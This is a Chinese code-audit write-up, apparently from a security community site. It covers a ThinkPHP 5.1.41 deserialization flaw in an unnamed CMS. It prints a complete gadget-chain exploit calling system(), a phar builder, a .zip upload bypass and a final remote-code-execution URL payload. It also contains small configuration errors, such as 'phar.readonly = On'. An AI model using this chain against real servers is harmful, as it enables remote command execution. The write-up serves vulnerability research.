基于框架漏洞的代码审计实战
首发于先知社区:https://xz.aliyun.com/t/11360
0x00 前言
由于普通的,基于某个功能点的漏洞,已经是非常常见了,在这里分享一些基于框架漏洞的代码审计,毕竟大家都学了这么多反序列化漏洞与一堆的框架,还是要用于实战当中。
0x01 环境介绍
某开源项目最新版的CMS,该漏洞已提交至CNVD
0x02 查看READ.md,获取项目技术栈的相应版本
可以看到这里的thinkphp版本为5.1.41。正好该版本存在反序列化漏洞。接下来我们的思路就是找到反序列化的触发点。
0x03 找寻反序列化入口
如果打过ctf的同学都应该都比较清楚,触发反序列化的点,比较常见的就3种 1,unserialize()函数 2,phar反序列化 3,session反序列化
接下来我们就一个一个分析看看该cms是否存在反序列化入口
0x3.1 unserialize函数
我们直接全局搜索unserialize,看看有那些地方调用了该函数
可以看到有很多地方调用了unserialize函数,如果你看到这些函数就开始一头扎进去,开始分析,那基本上就可以说是对MVC毫无了解,在分析之前,你要确定那些是能调用的,那些是不能调用的,因此必须分析路由,去找寻那些页面是可以访问的,我们一般想调用某些函数,都是通过URL或者POST参数进行调用了。因此知道自己能调用那些函数,是非常重要的,也是缩小分析范围的至关重要的一步。本文分析的CMS是由thinkphp搭建,由于在大部分情况下我们都可以访问控制器下的大部分函数,因此可操作的空间就非常的大,但并不是所有框架都像一样自由
结合路由分析,可以发现并没有路由能访问到unserialize函数,可知unserialize这条路走不通
0x3.2 session反序列化
其实session反序列化是真的不常见,可能只会在一些ctf中见到,因为两种session模式相互切换的场景是真的不常见,不过我们还是进行分析一下吧。直接全局搜索session.serialize_handler
不出意外,确实没有
0x3.3 phar反序列化
个人认为phar反序列化还是比较容易触发的,因为在很多功能点都会对文件进行判断,而有许多判断函数都可以触发phar反序列化,且并不需要pip.ini有特殊配置。这是在本机生成phar包时,需要开启phar.readonly这个配置。常见的函数如下:
继续我们的分析,一般每个web应用几乎都存在着文件上传功能,几乎都会用到is_file,is_dir,file_exists等函数 接下来外面就来分析源码,老规矩依旧是全局搜索
在这里就不浪费大家时间,找寻触发点直接省略,直接进入利用分析
可以看到这里rmdirr是update控制器里的一个方法,我们可以直接通过url调用该函数,能触发漏洞的原因在于,没写固定前缀,到这里可能有同学会提醒我还有后缀,但在这里可以给大家卖个关子,其实有很大一部分后缀是可以绕过的,这个我们在后面分析。言归正传,之所以要指定前缀就是防止攻击者使用phar协议,进行phar反序列化,到这里我们已经找到了反序列化入口,进行就是如何进行phar文件生成和反序列化漏洞利用
0x04 phar文件生成
在php中phar文件生成有一窜常用的代码,记住即可,唯一要注意的是,要反序列化的对象,在本文就是反序列化利用链
0x4.1 配置
在此之前,需要在本机开启,注意这只是在生成的时候开启,及在本地生成然后上传到目标服务器(目标服务器不需要开启配置)
phar.readonly = On
0x4.2 源码
//这里就需要反序列化的对象
class Demo{
}
$phar=new\Phar("phar.phar");//
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");//
$phar->setMetadata(new Demo());//
$phar->addFromString("test.txt","test");//
//
$phar->stopBuffering();
生成文件内容如下:
0x05 Thinkphp 5.1.41反序列化
0x5.1 利用链
\thinkphp\library\think\process\pipes\Windows.php - > __destruct()
\thinkphp\library\think\process\pipes\Windows.php - > removeFiles()
Windows.php: file_exists()
thinkphp\library\think\model\concern\Conversion.php - > __toString()
thinkphp\library\think\model\concern\Conversion.php - > toJson()
thinkphp\library\think\model\concern\Conversion.php - > toArray()
thinkphp\library\think\Request.php - > __call()
thinkphp\library\think\Request.php - > isAjax()
thinkphp\library\think\Request.php - > param()
thinkphp\library\think\Request.php - > input()
thinkphp\library\think\Request.php - > filterValue()
0x5.2 EXP
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["dir","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
0x06 Phar与thinkphp反序列化结合
源码
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["dir","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
$phar=new\Phar("phar.phar");//
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");//
$phar->setMetadata(new Windows());//
$phar->addFromString("test.txt","test");//
//
$phar->stopBuffering();
?>
0x07 Phar文件上传
0x7.1 Phar文件上传绕过
大家看到这里一定会想Phar文件,一定是XXX.phar这样的格式,只要后端一限制,那就没法利用了,如果这么想的话,那可能还是会phar协议不了解,直接说结论吧,phar文件可以是任意后缀,可以是jpg,png,zip等等,只要配合phar协议即可触发反序列化
0x7.2 查找上传功能
寻找单个功能点比较常见的就两种:
1.直接黑盒测试看应用程序有那些功能
2.白盒测试看路由,代码审计
一般情况还是先黑盒再白盒,因为有的应用路由写的很死,只能访问给定的功能,也就造成你再页面上看到的功能可能就是它大部分的功能了
0x7.3 黑盒测试
这里我们直接找上传点,当然里面也有许多坑,笔者会一一去解说
经过黑盒测试发现只能上图片,话不多少说直接将phar文件,改成phar.jpg然后上传
结果发现上传失败,其实有经验的同学都明白,检测图片的方法很多,mime,文件头,还有一堆处理图片的函数,那文件头来说,如果想绕过就必须在phar文件中添加文件头,但这样一添加,就破坏了文件格式,导致反序列化无法触发。因此这个图片上传无法利用
0x7.4 白盒测试
直接分析源码,找寻文件上传功能代码
找到一处,经过分析发现值允许上传zip,txt等文件,既然如此我们就上传一个phar.zip文件
上传成功,回显出了文件地址
0x08 验证漏洞
我们已经将文件上传到服务器,接下来就是利用phar+thinkphp反序列化进行rce漏洞验证
payload:
http://127.0.0.1//admin.php/update/rmdirr?dirname=phar://public/upload/images/628259c295370.zip&id=whoami
0x09 总结
本文以某开源CMS为例,分析在当今普遍使用框架的现在,如何去进行有效的黑白盒子测试与利用框架
漏洞进行代码审计的一部分经验。
往期推荐